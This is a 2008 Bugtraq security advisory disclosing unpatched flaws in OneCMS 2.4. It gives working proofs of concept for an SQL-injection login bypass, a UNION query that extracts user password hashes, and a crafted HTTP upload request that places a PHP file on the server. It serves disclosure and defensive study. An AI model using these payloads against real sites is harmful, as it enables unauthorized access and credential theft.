bugtraq - OneCMS Vulnerabilities

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Date: Mon, 07 Jan 2008 12:19:47 +0330
From: admin@...report.ir
To: bugtraq@...urityfocus.com
Subject: OneCMS Vulnerabilities

########################## WwW.BugReport.ir ##########################
#
#      AmnPardaz Security Research Team
#
# Title: OneCMS Vulnerabilities
# Vendor: http://www.insanevisions.com
# Bugs: SQL Injection (Authentication bypass) , Arbitrary file upload!
# Vulnerable Version: 2.4 (prior versions also may be affected)
# Exploitation: Remote with browser
# Fix Available: No!
######################################################################

####################
- Description:
####################

quote from vendor: "OneCMS is an Open Source CMS also released under  
GPL allowing users to run there own game site easily.
  From the powerful template system to top-notch support, OneCMS is a  
great option for gaming sites."

####################
- Vulnerability:
####################

+-->Multiple SQL Injection vulnerabilities (authentication bypass)

Code Snippet:
a_login.php Line#5-12

if ($_GET['login'] == "yes") {

$usernameb = strip_tags(stripcslashes($_POST['username']));
$passwordc = $_POST['password'];
$passwordb = md5($passwordc);

$sql = mysql_query("SELECT * FROM onecms_users WHERE username =  
'".$usernameb."' AND password = '".$passwordb."'");
$login_check = mysql_num_rows($sql);

$usernameb is prone to sql injection vulnerability therefore its  
possible for a remote attacker to bypass login form regardless of  
magic quotes setting!

POC :
Username: admin' or 1=1 /*
Password: something

afterward program redirects user to another location via header() and  
so (this behavior makes an infinite loop condition) but still its  
possible to do administration tasks such as file upload!

------------------------------------
Code Snippet:
staff.php Line#30-31

$result = mysql_query("SELECT * FROM onecms_profile WHERE username =  
'".$_GET['user']."'");
$profile = mysql_fetch_row($result);

POC:
http://localhost/OneCMS_v2.4/staff.php?user=aaa' union select  
1,username,password,1,1,1,1,1,1,1,1,1,1 from onecms_users/*
condition: magic_quotes_gpc = Off

+--> Arbitrary file upload!

Code Snippet:
a_upload.php Line#472-475

if ($_FILES["ss_$i"]["name"]) {
if (((((($_FILES["ss_$i"]["type"] == "image/jpeg") or  
($_FILES["ss_$i"]["type"] == "image/gif") or ($_FILES["ss_$i"]["type"]  
== "image/bmp") or ($_FILES["ss_$i"]["type"] == "image/png") &&  
($_FILES["ss_$i"]["type"])))))) {

copy ($_FILES["ss_$i"]["tmp_name"], "$path/".$_FILES["ss_$i"]["name"]."");

As shown above Its possible to upload arbitrary files (ex: .php) with  
image/gif content type as a valid image file!

POC:
POST /OneCMS_v2.4/a_upload.php?view=add2 HTTP/1.0
Cookie: username=admin'or 1=1/*;  
password=96e79218965eb72c92a549dd5a330112; login_date=1199693273;  
style=Trend

-----------------------------7d84115025c
Content-Disposition: form-data; name="ss_1";  
filename="C:\path\to\file\test.php"
Content-Type: image/gif

<?
phpinfo();
?>
-----------------------------7d84115025c
Content-Disposition: form-data; name="ss2_1"

-----------------------------7d84115025c
Content-Disposition: form-data; name="type_1"

image
-----------------------------7d84115025c
Content-Disposition: form-data; name="muche"

1
-----------------------------7d84115025c
Content-Disposition: form-data; name="Submit"

Upload
-----------------------------7d84115025c--

####################
- Credit :
####################
Original Advisory: http://www.bugreport.ir/?/26
AmnPardaz Security Research Team
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com